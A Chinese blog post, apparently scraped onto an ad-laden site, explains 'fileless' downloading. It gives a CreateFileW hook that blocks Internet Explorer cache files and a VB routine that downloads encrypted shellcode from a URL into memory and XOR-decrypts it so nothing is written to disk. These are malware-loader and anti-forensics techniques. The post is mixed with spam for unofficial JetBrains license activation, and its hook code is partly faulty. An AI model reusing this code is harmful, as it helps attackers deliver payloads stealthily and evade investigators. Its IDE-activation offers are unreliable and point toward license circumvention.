httpfile.dll(真正实现网络下载,文件不落地.解决XmlHttp对象、winnet.dll、URLDownloadToFile生成的ie缓存「建议收藏」)

发布时间:2025-12-10 19:23:30 浏览次数:10

真正实现网络下载,文件不落地.解决XmlHttp对象、winnet.dll、URLDownloadToFile生成的ie缓存「建议收藏」-

真正实现网络下载,文件不落地.解决XmlHttp对象、winnet.dll、URLDownloadToFile生成的ie缓存(Hook_CreateFileW阻止缓存生成)「建议收藏」解决XmlHttp对象、winnet.dll生成的ie缓存

最近遇到的一个需求是,要求从网络上下载数据,并且文件不落地,那就是需要把缓存处理下,阻止缓存生成。无论我们用XmlHttp对象、还是inter网络通信控件、下载文件的API函数URLDownloadToFile都是会自动生成缓存文件。

Hook_CreateFileW阻止缓存生成

//HOOK CreateFileWHANDLE  WINAPI TimedCreateFileW(LPCWSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile){//C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary //Internet Files\Content.IE5B59JOE\tem[1].txtHANDLE ret=NULL ;   if   (wcsstr(lpFileName,L"Temporary"))   {     OutputDebugStringW(lpFileName);                 wprintf(lpFileName,"%ws",L"");          return ret;   }ret =  TrueCreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);  return ret;}

是否还在为Ide开发工具频繁失效而烦恼,来吧关注以下公众号获取最新激活方式。亲测可用!

为防止网络爬虫,请关注公众号回复”口令”

激活idea 激活CLion DataGrip DataSpell dotCover dotMemory dotTrace GoLand PhpStorm PyCharm ReSharper ReShaC++ Rider RubyMine WebStorm 全家桶 刷新

【正版授权,激活自己账号】:Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】:官方授权 正版激活 自己使用,支持Jetbrains家族下所有IDE…

以上这个路径就是XmlHttp对象所产生的,无论是用其他的下载方式还是别的下载方式,其实都是有缓存的。但是微软只给予了删除缓存的API函数,并没有阻止缓存生成的功能,而这里我们要求更高一点,不是删除缓存,而是直接阻止缓存生成。

下面是VB操作XmlHttp对象来下载文件,下载的数据保存到了一个内存数组上B。文件是不落地的。配合以上 API hook 钩子 就可以完美阻止缓存生成,真正实现文件不落地了。

'在内存中 解密启动 下载的shellcode,文件不落地Private Sub DecryptRun_DownloadShllCode(ByVal nUrl As String)    On Error GoTo M:     Dim XmlHttp, b() As Byte     Set XmlHttp = CreateObject("Microsoft.XMLHTTP")     XmlHttp.Open "GET", nUrl, False     XmlHttp.SetRequestHeader "If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT"      ' XmlHttp.SetRequestHeader "Cache-Control", "no-cache" '      '"Cache-Control","no-cache"     XmlHttp.Send     If XmlHttp.ReadyState = 4 Then         b() = XmlHttp.ResponseBody  '下载加密的shelcode文件以二进制字节模式保存到数组B()'         Open nFile For Binary As #1'         Put #1, , B()'         Close #1     End If         Dim slen As Long    slen = UBound(b()) '获取数组长度,即 shellcode的长度    Dim i As Long    For i = 0 To slen       b(i) = b(i) Xor &H21 '解密    Next i      '其他业务代码,暂时忽略               Set XmlHttp = NothingM:End Sub
需要做网站?需要网络推广?欢迎咨询客户经理 13272073477